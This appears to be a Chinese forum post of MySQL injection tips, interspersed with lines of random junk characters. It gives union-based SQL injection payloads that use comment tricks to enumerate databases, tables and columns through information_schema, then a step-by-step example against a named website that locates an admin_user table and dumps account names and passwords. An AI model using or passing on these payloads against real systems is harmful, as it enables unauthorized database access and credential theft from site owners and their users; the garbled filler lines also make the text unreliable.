mysql注入技巧

admin

查库
) }" C( ^$ m. u- [: ?
! \; F+ A) N# g8 n) m4 k6 e4 z- fid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*
, i& _' W7 U# N6 @2 v9 i/ J) O
查表
8 I2 K* e* n: ?# [' Q- ~" R  E; p1 S9 u( C
) F/ Z2 j, U3 H3 A) ~id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段

id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
- W6 G  q1 k' T7 h' s& U/ @4 S: p

  a2 U' k: o0 _2 C$ l4 hmysql5高级注入方法暴表

' _9 K  r" E+ R1 M& K" ~例子如下:
3 |- A/ e, r6 r. B, a! Q9 a( S
1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
3 K# |# l/ ?# Z5 U这样爆到第4个时出现了admin_user表。
0 c% ]2 t4 ^1 i
2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

! q. x9 x7 r& ]& S; o9 [) e
1 H1 E4 N# `+ \; D8 l5 Z- d3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

* `* p* w( h9 r- V) F; A1 f; K
" j2 f; E, t  F. \  S7 ]& m# E